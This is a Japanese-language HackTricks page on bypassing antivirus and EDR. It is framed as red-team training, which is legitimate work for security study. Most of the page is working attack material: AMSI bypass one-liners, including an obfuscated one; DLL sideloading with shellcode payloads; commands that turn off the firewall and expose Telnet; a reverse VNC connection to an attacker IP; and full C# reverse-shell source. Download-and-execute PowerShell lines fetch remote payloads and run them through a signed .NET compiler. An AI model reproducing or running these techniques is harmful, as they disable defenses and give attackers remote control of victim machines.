Antivirus (AV) Bypass

Reading time: 42 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

このページは @m2rc_pによって書かれました!

AV回避方法論

現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。

静的検出

静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:

  • 暗号化

バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。

  • 難読化

時には、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVを通過できることがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。

  • カスタムツール

独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。

note

Windows Defenderの静的検出に対抗する良い方法はThreatCheckです。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。

実践的なAV回避に関するこのYouTubeプレイリストをぜひチェックしてください。

動的分析

動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。

  • 実行前のスリープ 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。
  • マシンのリソースをチェック 通常、サンドボックスは非常に少ないリソース(例:< 2GB RAM)で動作します。そうでなければ、ユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度をチェックすることで、すべてがサンドボックスに実装されているわけではありません。
  • マシン固有のチェック "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合は、プログラムを終了させることができます。

Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。

出典: https://youtu.be/StSLxFbVz0M?t=1439

@mgeekyからのサンドボックスに対抗するための他の非常に良いヒント

Red Team VX Discord #malware-dev チャンネル

この投稿で以前に述べたように、公開ツールは最終的に検出されるため、次のことを自問する必要があります:

たとえば、LSASSをダンプしたい場合、本当にmimikatzを使用する必要がありますか?それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。

正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。

note

回避のためにペイロードを変更する際は、Defenderで自動サンプル送信をオフにすることを確認し、長期的に回避を達成することが目的である場合は、絶対にVIRUSTOTALにアップロードしないでください。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。

EXEとDLL

可能な限り、常に回避のためにDLLを使用することを優先してください。私の経験では、DLLファイルは通常はるかに検出されにくく、分析されにくいため、場合によっては検出を回避するための非常に簡単なトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合)。

この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。

antiscan.meでの通常のHavoc EXEペイロードと通常のHavoc DLLの比較

ここでは、DLLファイルを使用してよりステルス性を高めるためのいくつかのトリックを紹介します。

DLLサイドローディングとプロキシ

DLLサイドローディングは、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置することによって行われます。

DLLサイドローディングに脆弱なプログラムをチェックするには、Siofraと次のPowerShellスクリプトを使用できます:

bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

このコマンドは、「C:\Program Files\」内でDLLハイジャックに脆弱なプログラムのリストと、それらが読み込もうとするDLLファイルを出力します。

私はあなたがDLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。

悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、DLLプロキシング/フォワーディングという別の技術を使用します。

DLLプロキシングは、プログラムがプロキシ(および悪意のある)DLLから元のDLLに対して行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。

私は@flangvikSharpDLLProxyプロジェクトを使用します。

私が従った手順は次のとおりです:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

最後のコマンドは、DLLソースコードテンプレートと、元の名前を変更したDLLの2つのファイルを生成します。

``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ```

私たちのシェルコード(SGNでエンコードされた)とプロキシDLLは、antiscan.meで0/26の検出率を持っています!これは成功だと言えるでしょう。

note

私は強く推奨します、DLLサイドローディングについてのS3cur3Th1sSh1tのtwitch VODを視聴し、またippsecのビデオを見て、私たちがより深く議論したことについて学んでください。

Freeze

Freezeは、サスペンドプロセス、直接システムコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです

Freezeを使用して、シェルコードをステルスな方法でロードおよび実行できます。

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

note

回避は単なる猫とネズミのゲームであり、今日機能するものが明日検出される可能性があるため、可能であれば1つのツールに依存せず、複数の回避技術を組み合わせて試みてください。

AMSI (アンチマルウェアスキャンインターフェース)

AMSIは「ファイルレスマルウェア」を防ぐために作成されました。最初は、AVはディスク上のファイルのみをスキャンできたため、ペイロードを直接メモリ内で実行できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。

AMSI機能はWindowsのこれらのコンポーネントに統合されています。

  • ユーザーアカウント制御、またはUAC(EXE、COM、MSI、またはActiveXインストールの昇格)
  • PowerShell(スクリプト、対話的使用、動的コード評価)
  • Windows Script Host(wscript.exeおよびcscript.exe)
  • JavaScriptおよびVBScript
  • Office VBAマクロ

これは、スクリプトの内容を暗号化されておらず、難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')を実行すると、Windows Defenderで次のアラートが表示されます。

スクリプトが実行された実行可能ファイルへのパスの前にamsi:が付加されていることに注意してください。この場合、powershell.exeです。

ディスクにファイルを落とさなかったにもかかわらず、AMSIのためにメモリ内で捕まってしまいました。

さらに、.NET 4.8以降、C#コードもAMSIを通じて実行されます。これは、メモリ内実行のためにAssembly.Load(byte[])にも影響します。したがって、AMSIを回避したい場合は、メモリ内実行のために.NETの古いバージョン(4.7.2以下など)を使用することが推奨されます。

AMSIを回避する方法はいくつかあります:

  • 難読化

AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。

ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。

  • AMSIバイパス

AMSIはpowershell(またはcscript.exe、wscript.exeなど)のプロセスにDLLを読み込むことによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。

エラーを強制する

AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されなくなります。これは元々Matt Graeberによって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。

bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

たった1行のPowerShellコードで、現在のPowerShellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。

こちらは、私がこの Github Gist から取った修正されたAMSIバイパスです。

bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

注意してください。この投稿が公開されると、おそらくフラグが立てられるので、検出されないことを計画している場合は、コードを公開しない方が良いでしょう。

メモリパッチ

この技術は最初に @RastaMouse によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。

note

より詳細な説明については https://rastamouse.me/memory-patching-amsi-bypass/ をお読みください。

また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については このページこのリポジトリ をチェックしてください。

このツール https://github.com/Flangvik/AMSI.fail もAMSIをバイパスするスクリプトを生成します。

検出された署名を削除する

https://github.com/cobbr/PSAmsihttps://github.com/RythmStick/AMSITrigger のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、それをNOP命令で上書きすることによって、実質的にメモリから削除します。

AMSIを使用するAV/EDR製品

AMSIを使用するAV/EDR製品のリストは https://github.com/subat0mik/whoamsi で見つけることができます。

PowerShellバージョン2を使用する PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。次のようにできます:

bash
powershell.exe -version 2

PS Logging

PowerShell ロギングは、システム上で実行されたすべての PowerShell コマンドをログに記録する機能です。これは監査やトラブルシューティングに役立ちますが、検出を回避したい攻撃者にとっては問題となる可能性があります

PowerShell ロギングをバイパスするには、次の技術を使用できます:

  • PowerShell トランスクリプションとモジュール ロギングを無効にする: この目的のために、https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs のようなツールを使用できます。
  • PowerShell バージョン 2 を使用する: PowerShell バージョン 2 を使用すると、AMSI がロードされないため、AMSI によるスキャンなしでスクリプトを実行できます。これを行うには: powershell.exe -version 2
  • 管理されていない PowerShell セッションを使用する: https://github.com/leechristensen/UnmanagedPowerShell を使用して、防御なしで PowerShell を起動します(これは Cobalt Strike の powerpick が使用するものです)。

Obfuscation

note

いくつかの難読化技術はデータを暗号化することに依存しており、これによりバイナリのエントロピーが増加し、AV や EDR による検出が容易になります。これに注意し、機密性が高いか隠す必要があるコードの特定のセクションにのみ暗号化を適用することをお勧めします。

C# のクリアテキストコードを難読化したり、バイナリをコンパイルするためのメタプログラミングテンプレートを生成したり、コンパイルされたバイナリを難読化するために使用できるツールはいくつかあります:

  • ConfuserEx: .NET アプリケーション用の優れたオープンソースの難読化ツールです。制御フローの難読化、アンチデバッグ、アンチ改ざん、文字列暗号化など、さまざまな保護技術を提供します。特定のコードのチャンクを難読化することもできるため、お勧めです。
  • InvisibilityCloak: C# 難読化ツール
  • Obfuscator-LLVM: このプロジェクトの目的は、LLVM コンパイルスイートのオープンソースフォークを提供し、コードの難読化 と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
  • ADVobfuscator: ADVobfuscator は、C++11/14 言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。
  • obfy: C++ テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
  • Alcatraz: Alcatraz は、.exe、.dll、.sys など、さまざまな異なる pe ファイルを難読化できる x64 バイナリ難読化ツールです。
  • metame: Metame は、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
  • ropfuscator: ROPfuscator は、ROP(リターン指向プログラミング)を使用して LLVM サポート言語のための細粒度のコード難読化フレームワークです。ROPfuscator は、通常の命令を ROP チェーンに変換することによって、アセンブリコードレベルでプログラムを難読化し、通常の制御フローの自然な概念を妨害します。
  • Nimcrypt: Nimcrypt は、Nim で書かれた .NET PE Crypter です。
  • inceptor: Inceptor は、既存の EXE/DLL をシェルコードに変換し、それをロードすることができます。

SmartScreen & MoTW

インターネットからいくつかの実行可能ファイルをダウンロードして実行する際に、この画面を見たことがあるかもしれません。

Microsoft Defender SmartScreen は、エンドユーザーが潜在的に悪意のあるアプリケーションを実行するのを防ぐためのセキュリティメカニズムです。

SmartScreen は主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションは SmartScreen をトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。

MoTW(Mark of The Web)は、インターネットからダウンロードされたファイルに自動的に作成されるNTFS Alternate Data Stream で、Zone.Identifier という名前が付けられ、ダウンロード元の URL とともに作成されます。

インターネットからダウンロードされたファイルの Zone.Identifier ADS を確認しています。

note

信頼された署名証明書で署名された実行可能ファイルは、SmartScreen をトリガーしないことに注意することが重要です。

ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、ISO のようなコンテナ内にパッケージ化することです。これは、Mark-of-the-Web (MOTW) 非 NTFS ボリュームに適用できないためです。

PackMyPayload は、Mark-of-the-Web を回避するためにペイロードを出力コンテナにパッケージ化するツールです。

使用例:

bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

ここでは、PackMyPayloadを使用して、ペイロードをISOファイル内にパッケージ化することでSmartScreenをバイパスするデモを示します。

ETW

Windowsのイベントトレーシング(ETW)は、アプリケーションやシステムコンポーネントがイベントをログすることを可能にする強力なログメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視および検出するためにも使用される可能性があります。

AMSIが無効化(バイパス)されるのと同様に、ユーザースペースプロセスの**EtwEventWrite**関数を、イベントをログせずに即座に戻るようにすることも可能です。これは、メモリ内の関数をパッチして即座に戻るようにすることで、そのプロセスのETWログを実質的に無効にします。

詳細については、**https://blog.xpnsec.com/hiding-your-dotnet-etw/ および https://github.com/repnz/etw-providers-docs/**を参照してください。

C# アセンブリリフレクション

C#バイナリをメモリにロードすることはかなり前から知られており、AVに捕まることなくポストエクスプロイトツールを実行するための非常に優れた方法です。

ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIをパッチすることだけを心配すればよいです。

ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)は、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、さまざまな方法があります:

  • Fork&Run

これは、新しい犠牲プロセスを生成し、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークアンドランメソッドの利点は、実行が私たちのBeaconインプラントプロセスの外部で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかなかったり捕まったりした場合、私たちのインプラントが生き残る可能性がはるかに高いことを意味します。欠点は、行動検出によって捕まる可能性が高くなることです。

  • Inline

これは、ポストエクスプロイトの悪意のあるコードを自分のプロセスに注入することです。この方法では、新しいプロセスを作成してAVにスキャンされるのを避けることができますが、欠点は、ペイロードの実行に何か問題が発生した場合、ビーコンを失う可能性がはるかに高くなることです。

note

C#アセンブリのロードについてもっと知りたい場合は、この記事https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/とそのInlineExecute-Assembly BOFをチェックしてください(https://github.com/xforcered/InlineExecute-Assembly)。

また、C#アセンブリをPowerShellからロードすることもできます。 Invoke-SharpLoaderS3cur3th1sSh1tのビデオをチェックしてください。

他のプログラミング言語の使用

https://github.com/deeexcee-io/LOI-Binsで提案されているように、妥協されたマシンに攻撃者が制御するSMB共有にインストールされたインタープリタ環境へのアクセスを与えることで、他の言語を使用して悪意のあるコードを実行することが可能です。

インタープリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンのメモリ内でこれらの言語の任意のコードを実行することができます

リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、静的シグネチャをバイパスする柔軟性が高まります。これらの言語でランダムな非難の逆シェルスクリプトをテストした結果、成功が確認されています。

TokenStomping

トークンストンピングは、攻撃者がアクセス トークンやEDRやAVのようなセキュリティ製品を操作することを可能にする技術で、プロセスが終了しないように権限を低下させることができますが、悪意のある活動をチェックする権限は持たなくなります。

これを防ぐために、Windowsは外部プロセスがセキュリティプロセスのトークンにハンドルを取得するのを防ぐことができます。

高度な回避

回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。

対抗する環境はそれぞれ独自の強みと弱みを持っています。

@ATTL4Sのこのトークをぜひご覧いただき、より高度な回避技術についての足がかりを得てください。

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

@mariuszbitによる回避の深層についての別の素晴らしいトークもあります。

- YouTube

古い技術

Defenderが悪意のあるものと見なす部分を確認する

ThreatCheckを使用すると、バイナリの一部を削除して、Defenderが悪意のあるものと見なす部分を特定し、それを分割することができます。
同様のことを行う別のツールは、avredで、オープンウェブでサービスを提供していますhttps://avred.r00ted.ch/

Telnetサーバー

Windows10まで、すべてのWindowsにはTelnetサーバーが付属しており、(管理者として)次のようにインストールできます:

bash
pkgmgr /iu:"TelnetServer" /quiet

システムが起動したときに開始し、今すぐ実行します:

bash
sc config TlntSVR start= auto obj= localsystem

Telnetポートの変更 (ステルス) とファイアウォールの無効化:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

ダウンロードはこちらから: http://www.uvnc.com/downloads/ultravnc.html (セットアップではなく、binダウンロードを選択してください)

ホスト上で: winvnc.exe を実行し、サーバーを設定します:

  • オプション Disable TrayIcon を有効にする
  • VNC Password にパスワードを設定する
  • View-Only Password にパスワードを設定する

次に、バイナリ winvnc.exe新しく 作成されたファイル UltraVNC.ini被害者 の中に移動します。

リバース接続

攻撃者ホスト内で バイナリ vncviewer.exe -listen 5900 を実行し、リバース VNC接続 をキャッチする準備をします。その後、被害者 内で: winvnc デーモン winvnc.exe -run を開始し、winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 を実行します。

警告: ステルスを維持するために、いくつかのことを行ってはいけません

  • winvnc が既に実行中の場合は開始しないでください。そうしないと ポップアップ が表示されます。 tasklist | findstr winvnc で実行中か確認してください
  • 同じディレクトリに UltraVNC.ini がない状態で winvnc を開始しないでください。そうしないと 設定ウィンドウ が開きます
  • ヘルプのために winvnc -h を実行しないでください。そうしないと ポップアップ が表示されます

GreatSCT

ダウンロードはこちらから: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Inside GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

今、listermsfconsole -r file.rc開始し、xmlペイロードを次のように実行します:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

現在のディフェンダーはプロセスを非常に速く終了させます。

自分自身のリバースシェルをコンパイルする

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

最初のC#リバースシェル

次のコマンドでコンパイルします:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

使用するには:

back.exe <ATTACKER_IP> <PORT>
csharp
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# コンパイラの使用

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

自動ダウンロードと実行:

csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

C# オブフスケーターのリスト: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Pythonを使用したインジェクターのビルド例:

その他のツール

bash
# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

もっと

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする